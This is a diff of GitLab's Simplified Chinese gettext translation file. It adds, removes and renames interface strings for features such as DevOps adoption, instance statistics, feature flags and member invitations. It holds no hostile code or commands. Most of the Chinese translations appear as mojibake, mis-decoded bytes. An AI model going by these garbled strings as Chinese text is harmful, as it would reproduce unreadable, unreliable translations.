msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "差异内容é™åˆ¶"
@@ -9387,9 +9707,6 @@ msgstr "显示æº"
msgid "Do not display offers from third parties within GitLab"
msgstr "ä¸åœ¨GitLab中显示æ¥è‡ªç¬¬ä¸‰æ–¹çš„推广"
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "您想自定义如何将Google Code电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å导入GitLabå—?"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9462,9 +9779,6 @@ msgstr "下载产物"
msgid "Download as"
msgstr "下载å¦å­˜ä¸º"
-msgid "Download as CSV"
-msgstr "下载CSV"
-
msgid "Download codes"
msgstr "下载代ç "
@@ -9513,9 +9827,15 @@ msgstr "è‰ç¨¿åˆå¹¶è¯·æ±‚ä¸èƒ½åˆå¹¶ã€‚"
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr "拖放或%{linkStart}上传%{linkEnd}设计以附加"
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr "拖放您的设计以å¯åŠ¨ä¸Šä¼ ã€‚"
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr "截止日期"
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "编辑议题"
@@ -9696,6 +10019,9 @@ msgstr "电å­é‚®ä»¶%{number}"
msgid "Email Notification"
msgstr "电å­é‚®ä»¶é€šçŸ¥"
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr "邮件无法å‘é€"
@@ -9726,6 +10052,9 @@ msgstr "å°†æµæ°´çº¿çŠ¶æ€é€šè¿‡ç”µå­é‚®ä»¶å‘é€ç»™å¤šä¸ªæ”¶ä»¶äººã€‚"
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "电å­é‚®ä»¶å†…容空白。请确ä¿æ‚¨çš„回å¤ä½äºŽç”µå­é‚®ä»¶çš„顶部,因为我们无法处ç†å†…è”回å¤ã€‚"
@@ -9798,7 +10127,7 @@ msgstr "空文件"
msgid "Enable"
msgstr "å¯ç”¨"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr "å¯ç”¨ HTML 电å­é‚®ä»¶"
msgid "Enable Incident Management inbound alert limit"
msgstr "å¯ç”¨äº‹ä»¶ç®¡ç†ä¼ å…¥è­¦æŠ¥é™åˆ¶"
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "å¯ç”¨PlantUML"
@@ -10167,6 +10499,9 @@ msgstr "当å‰æ˜¾ç¤ºæ‰€æœ‰ç»“果。"
msgid "Environments|Delete"
msgstr "删除"
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr "删除环境"
@@ -10278,6 +10613,9 @@ msgstr "终止环境"
msgid "Environments|Stopping"
msgstr "åœæ­¢ä¸­"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr "获å–日志时出错。请é‡è¯•ã€‚"
@@ -10515,9 +10853,6 @@ msgstr "加载模æ¿æ—¶å‡ºé”™ã€‚"
msgid "Error loading viewer"
msgstr "加载查看器时出错"
-msgid "Error message:"
-msgstr "错误信æ¯:"
-
msgid "Error occurred when fetching sidebar data"
msgstr "获å–侧边æ æ•°æ®æ—¶å‡ºé”™"
@@ -10554,6 +10889,9 @@ msgstr "å‘生了错误。用户未解除ç¦ç”¨"
msgid "Error occurred. User was not unlocked"
msgstr "å‘生了错误。用户未解除é”定"
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr "渲染Markdown预览时出错"
@@ -10632,6 +10970,9 @@ msgstr "è¦å¯ç”¨é€‰æ‹©çš„项目,请输入有效的验è¯ä»¤ç‰Œ"
msgid "Errors"
msgstr "错误"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr "错误:"
@@ -10866,6 +11207,9 @@ msgstr "导出"
msgid "Export as CSV"
msgstr "导出为 CSV"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr "导出群组"
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr "无法为此问题创建分支。请å†è¯•ä¸€æ¬¡ã€‚"
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr "为jira导入创建导入标签失败。"
@@ -11109,6 +11456,9 @@ msgstr "无法删除用户密钥。"
msgid "Failed to reset key. Please try again."
msgstr "é‡ç½®å¯†é’¥å¤±è´¥ã€‚请é‡è¯•ã€‚"
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr "ä¿å­˜åˆå¹¶å†²çªè§£å†³åŠžæ³•å¤±è´¥ã€‚请é‡è¯•ï¼"
@@ -11148,6 +11498,9 @@ msgstr "更新议题失败, 请é‡è¯•"
msgid "Failed to update tag!"
msgstr "更新标签失败ï¼"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr "更新失败。"
@@ -11187,12 +11540,18 @@ msgstr "网站图标已被æˆåŠŸåˆ é™¤ã€‚"
msgid "Feature Flags"
msgstr "功能标志"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr "功能标志未被删除。"
msgid "Feature flag was successfully removed."
msgstr "功能标志已æˆåŠŸåˆ é™¤ã€‚"
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] "%d个用户"
@@ -11359,6 +11718,9 @@ msgstr "新建功能标志"
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr "用户百分比"
@@ -11383,9 +11745,6 @@ msgstr "上线百分比"
msgid "FeatureFlags|Rollout Strategy"
msgstr "上线策略"
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr "设置Unleash客户端应用å称为应用程åºè¿è¡Œçš„环境å称。 此值将用于匹é…环境范围。查看 %{linkStart}客户端é…置示例%{linkEnd}。"
@@ -11446,6 +11805,9 @@ msgstr "2月"
msgid "February"
msgstr "2月"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr "获å–接收邮件地å€"
@@ -11488,8 +11850,8 @@ msgstr "文件å称"
msgid "File renamed with no changes."
msgstr "文件已é‡å‘½å,但无更改。"
-msgid "File sync capacity"
-msgstr "文件åŒæ­¥å®¹é‡"
+msgid "File synchronization concurrency limit"
+msgstr ""
msgid "File templates"
msgstr "文件模æ¿"
@@ -11614,12 +11976,6 @@ msgstr "按å称查找现有æˆå‘˜"
msgid "Find file"
msgstr "查找文件"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "找到下载的ZIP文件并解压缩。"
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr "查找新æå–çš„%{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close}文件。"
-
msgid "Fingerprint"
msgstr "指纹"
@@ -11644,9 +12000,6 @@ msgstr "æ¯å‘¨çš„起始日"
msgid "First name"
msgstr "åå­—"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr "首次出现"
@@ -11692,9 +12045,6 @@ msgstr "FogBugz导入"
msgid "Folder/%{name}"
msgstr "文件夹/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "请按照以下步骤导出您在Google Code上的项目数æ®ã€‚"
-
msgid "Font Color"
msgstr "字体颜色"
@@ -11779,6 +12129,9 @@ msgstr "在您的 %{gitlab_ci_yml} 中找到错误:"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "在.gitlab-ci.yml中å‘现错误:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr "å…费试用"
@@ -11806,9 +12159,6 @@ msgstr "从%{code_open}%{source_title}%{code_close}到"
msgid "From %{providerTitle}"
msgstr "%{providerTitle}æºåœ°å€"
-msgid "From Google Code"
-msgstr "æ¥è‡ªGoogle Code"
-
msgid "From issue creation until deploy to production"
msgstr "从创建议题到部署至生产环境"
@@ -12295,6 +12645,9 @@ msgstr "å–消订阅"
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr "GitLab用户"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLabæ交"
@@ -12538,15 +12894,12 @@ msgstr "返回"
msgid "Go back (while searching for files)"
msgstr "åŽé€€(在æœç´¢æ–‡ä»¶æ—¶)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
-msgstr "返回%{startTag}å¼€å¯çš„议题%{endTag}并选择è¦æ·»åŠ åˆ°çœ‹æ¿çš„议题。"
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
+msgstr ""
msgid "Go full screen"
msgstr "å…¨å±æ¨¡å¼"
-msgid "Go to %{link_to_google_takeout}."
-msgstr "转至 %{link_to_google_takeout}。"
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr "谷歌云平å°"
-msgid "Google Code import"
-msgstr "从Google Code导入"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "谷歌的身份验è¯æœª%{link_start}正确é…ç½®%{link_end}。如需使用这项æœåŠ¡ï¼Œè¯·è”ç³»GitLab管ç†å‘˜ã€‚"
@@ -12901,6 +13248,12 @@ msgstr "无开始和结æŸæ—¥æœŸ"
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr "无开始日期 - %{dateWord}"
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "è¯»å– å²è¯— 时出错"
@@ -13294,12 +13647,6 @@ msgstr "如需在æœåŠ¡å™¨ä¹‹é—´å¤åˆ¶GitLab群组, 请到原æœåŠ¡å™¨çš„群组è
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "您确定è¦é€€å‡ºç¾¤ç»„“%{fullName}â€å—?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "在此群组中创建一个项目。"
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "在此群组中创建一个å­ç¾¤ç»„。"
-
msgid "GroupsTree|Edit group"
msgstr "编辑群组"
@@ -13375,6 +13722,9 @@ msgstr "未检测到è¿è¡ŒçŠ¶å†µé—®é¢˜"
msgid "HealthCheck|Unhealthy"
msgstr "éžå¥åº·"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "你好"
@@ -13524,9 +13874,6 @@ msgstr "å°†Elasticsearch索引拆分æˆå¤šå°‘个分片。"
msgid "How many users will be evaluating the trial?"
msgstr "有多少用户需è¦å‚与试用?"
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "但是,您已ç»æ˜¯ %{member_source} çš„æˆå‘˜ã€‚请使用其他å¸æˆ·ç™»å½•ä»¥æŽ¥å—邀请。"
@@ -13668,6 +14015,9 @@ msgstr "如果这是一个错误,你å¯ä»¥é€€å‡º%{source_type}。"
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "如使用 GitHub,GitHubçš„æ交(commits)和拉å–请求(pull request) 页é¢å°†æ˜¾ç¤ºæµæ°´çº¿çŠ¶æ€ã€‚ %{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr "å¦‚æžœæ‚¨æœ€è¿‘æ²¡æœ‰ç™»å½•ï¼Œè¯·ç«‹å³ %{password_link_start}更改密ç %{password_link_end}。"
@@ -13742,12 +14092,6 @@ msgstr "导入CSV"
msgid "Import Projects from Gitea"
msgstr "从Gitea导入项目"
-msgid "Import all compatible projects"
-msgstr "导入所有兼容的项目"
-
-msgid "Import all projects"
-msgstr "导入所有项目"
-
msgid "Import an exported GitLab project"
msgstr "导入一个从GitLab导出的项目"
@@ -13799,9 +14143,6 @@ msgstr "从FogBugz导入项目"
msgid "Import projects from GitLab.com"
msgstr "从GitLab.com导入项目"
-msgid "Import projects from Google Code"
-msgstr "从Google Code导入项目"
-
msgid "Import repositories from Bitbucket Server"
msgstr "从Bitbucket导入仓库"
@@ -13832,6 +14173,9 @@ msgstr "导入/导出æ’图"
msgid "ImportButtons|Connect repositories from"
msgstr "用以下方å¼è¿žæŽ¥å‚¨å­˜åº“"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "ç¦æ­¢çš„导入URL: %{message}"
@@ -13865,6 +14209,9 @@ msgstr "无法创建仓库。"
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr "导入项目实时更新失败"
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr "为了能é‡èº«å®šåˆ¶æ‚¨åœ¨GitLab的体验,%{br_tag}我们希望对您
msgid "In progress"
msgstr "进行中"
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "继续下一步,选择想è¦å¯¼å…¥çš„项目"
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr "接收电å­é‚®ä»¶"
msgid "Incoming!"
msgstr "ä¼ å…¥ï¼"
-msgid "Incompatible Project"
-msgstr "ä¸å…¼å®¹çš„项目"
-
msgid "Incompatible options set!"
msgstr "设置了ä¸å…¼å®¹çš„选项ï¼"
@@ -14162,9 +14503,6 @@ msgstr "安装GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "在Kubernetes上安装Runner"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr "从您的应用程åºåº“安装软令牌验è¯å™¨å¦‚ %{free_otp_link} 或者谷歌验è¯å™¨ï¼Œç„¶åŽä½¿ç”¨è¯¥éªŒè¯å™¨æ‰«æ此二维ç ã€‚更多信æ¯è¯·æŸ¥çœ‹%{help_link_start}文档%{help_link_end}。"
@@ -14187,73 +14525,79 @@ msgstr[0] "实例"
msgid "Instance Configuration"
msgstr "实例é…ç½®"
-msgid "Instance Statistics"
-msgstr ""
-
msgid "Instance administrators group already exists"
msgstr "实例管ç†å‘˜ç»„已存在"
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr "所有详细信æ¯"
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr "评论细节:"
@@ -14325,7 +14672,16 @@ msgstr "包括æ交的标题和分支"
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr "标准"
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr "在æ交或åˆå¹¶è¯·æ±‚中æåŠJira议题时,将创建远程链接å’
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "用户å¯ä»¥é€šè¿‡æŽ¨é€æ交æ¥å¯¹é¡¹ç›®ä½œå‡ºè´¡çŒ®ã€‚"
@@ -14439,6 +14801,9 @@ msgstr "指定文件类型的文件格å¼æ— æ•ˆ"
msgid "Invalid file."
msgstr "无效的文件。"
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr "无效导入å‚æ•°"
@@ -14481,6 +14846,9 @@ msgstr "无效的åŒé‡è®¤è¯ç ã€‚"
msgid "Invalid yaml"
msgstr "无效的yaml"
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "邀请"
@@ -14505,6 +14873,9 @@ msgstr "邀请群组"
msgid "Invite member"
msgstr "邀请æˆå‘˜"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr "邀请团队æˆå‘˜(å¯é€‰)"
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "议题看æ¿"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr "问题已å‡çº§ä¸ºå²è¯—。"
@@ -14742,6 +15113,9 @@ msgstr "状æ€"
msgid "IssueAnalytics|Weight"
msgstr "æƒé‡"
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "看æ¿"
@@ -14877,11 +15251,11 @@ msgstr "ä¸èƒ½è®¾ç½®ä¸ºè¿‡åŽ»æ—¶é—´"
msgid "Iteration|cannot be more than 500 years in the future"
msgstr "ä¸èƒ½è¶…过未æ¥çš„500å¹´"
-msgid "I’m familiar with the basics of project management and DevOps."
-msgstr "我熟悉项目管ç†åŸºç¡€å’ŒDevOps。"
+msgid "I’m familiar with the basics of DevOps."
+msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
-msgstr "我ä¸å¤ªç†Ÿæ‚‰é¡¹ç›®ç®¡ç†åŸºç¡€å’ŒDevOps。"
+msgid "I’m not familiar with the basics of DevOps."
+msgstr ""
msgid "Jaeger URL"
msgstr "Jaeger 地å€"
@@ -15057,6 +15431,27 @@ msgstr "作业已é‡è¯•"
msgid "Jobs"
msgstr "作业"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "æµè§ˆ"
@@ -15186,6 +15581,9 @@ msgstr "é”®"
msgid "Ki"
msgstr "Ki"
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15367,9 +15765,6 @@ msgstr "此页é¢åœ¨æ‚¨çš„æµè§ˆå™¨ä¸­è½½å…¥å‰çš„最åŽä¸€ä¸ªé¡¹ç›®ï¼š"
msgid "Last name"
msgstr "姓"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "最åŽå›žå¤æ¥è‡ªäºŽ"
@@ -15463,6 +15858,9 @@ msgstr "进一步了解关于Kubernetesçš„ä¿¡æ¯"
msgid "Learn more about License-Check"
msgstr "进一步了解有关许å¯è¯æ£€æŸ¥çš„ä¿¡æ¯"
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr "进一步了解有关æ¼æ´žæ£€æŸ¥(Vulnerability-Check)çš„ä¿¡æ¯"
@@ -15490,9 +15888,6 @@ msgstr "了解有关部署到群集的详细信æ¯"
msgid "Learn more about group-level project templates"
msgstr "了解更多关于群组级项目模æ¿"
-msgid "Learn more about job dependencies"
-msgstr "了解更多关于作业ä¾èµ–çš„ä¿¡æ¯"
-
msgid "Learn more about signing commits"
msgstr "了解更多有关签åæ交的详细信æ¯"
@@ -15523,9 +15918,6 @@ msgstr "退出群组"
msgid "Leave project"
msgstr "退出项目"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "使用默认值设定 \"文件类型\" 和 \"交付方法\""
-
msgid "Leave zen mode"
msgstr "离开禅模å¼"
@@ -15589,9 +15981,6 @@ msgstr "如检测到则ä¸å…许åˆå¹¶è¯·æ±‚并指示开å‘人员删除"
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr "了解更多有关%{linkStart}许å¯è¯æ‰¹å‡†%{linkEnd}çš„ä¿¡æ¯"
-msgid "LicenseCompliance|License"
-msgstr "许å¯è¯"
-
msgid "LicenseCompliance|License Approvals"
msgstr "许å¯è¯æ‰¹å‡†"
@@ -15625,18 +16014,9 @@ msgstr "许å¯è¯åˆè§„仅在æºåˆ†æ”¯æœªæ£€æµ‹åˆ°è®¸å¯è¯"
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr "许å¯è¯åˆè§„未检测到新许å¯è¯"
-msgid "LicenseCompliance|License details"
-msgstr "许å¯è¯è¯¦ç»†ä¿¡æ¯"
-
msgid "LicenseCompliance|License name"
msgstr "许å¯è¯å称"
-msgid "LicenseCompliance|License review"
-msgstr "许å¯è¯å®¡æ ¸"
-
-msgid "LicenseCompliance|Packages"
-msgstr "软件包"
-
msgid "LicenseCompliance|Remove license"
msgstr "删除许å¯è¯"
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "此许å¯è¯å·²ç»å­˜åœ¨äºŽè¯¥é¡¹ç›®ä¸­ã€‚"
-msgid "LicenseCompliance|URL"
-msgstr "网å€"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "您å³å°†ä»Žå½“å‰é¡¹ç›®ä¸­åˆ é™¤è®¸å¯è¯%{name}。"
@@ -15760,6 +16137,9 @@ msgstr "é™åˆ¶æ—¶é—´è·Ÿè¸ªå•ä½æ˜¾ç¤ºåˆ°å°æ—¶ã€‚"
msgid "Limit namespaces and projects that can be indexed"
msgstr "é™åˆ¶å¯ç´¢å¼•å‘½å空间和项目"
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "最多显示 %d 个事件"
@@ -15779,6 +16159,9 @@ msgstr "链接标题"
msgid "Link title is required"
msgstr "链接标题为必填项"
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr "链接以转到GitLaæµæ°´çº¿æ–‡æ¡£"
@@ -15983,9 +16366,6 @@ msgstr "将议题设置为ç§å¯†ã€‚"
msgid "Make sure you save it - you won't be able to access it again."
msgstr "请确ä¿å¦¥å–„ä¿å­˜å®ƒ - 您无法å†æ¬¡è®¿é—®å®ƒçš„内容。"
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "ç¡®ä¿æ‚¨å·²ç™»å½•åˆ°æ¬²å¯¼å…¥é¡¹ç›®æ‰€æœ‰è€…çš„å¸æˆ·ã€‚"
-
msgid "Make this epic confidential"
msgstr "将此å²è¯—设置为ç§å¯†"
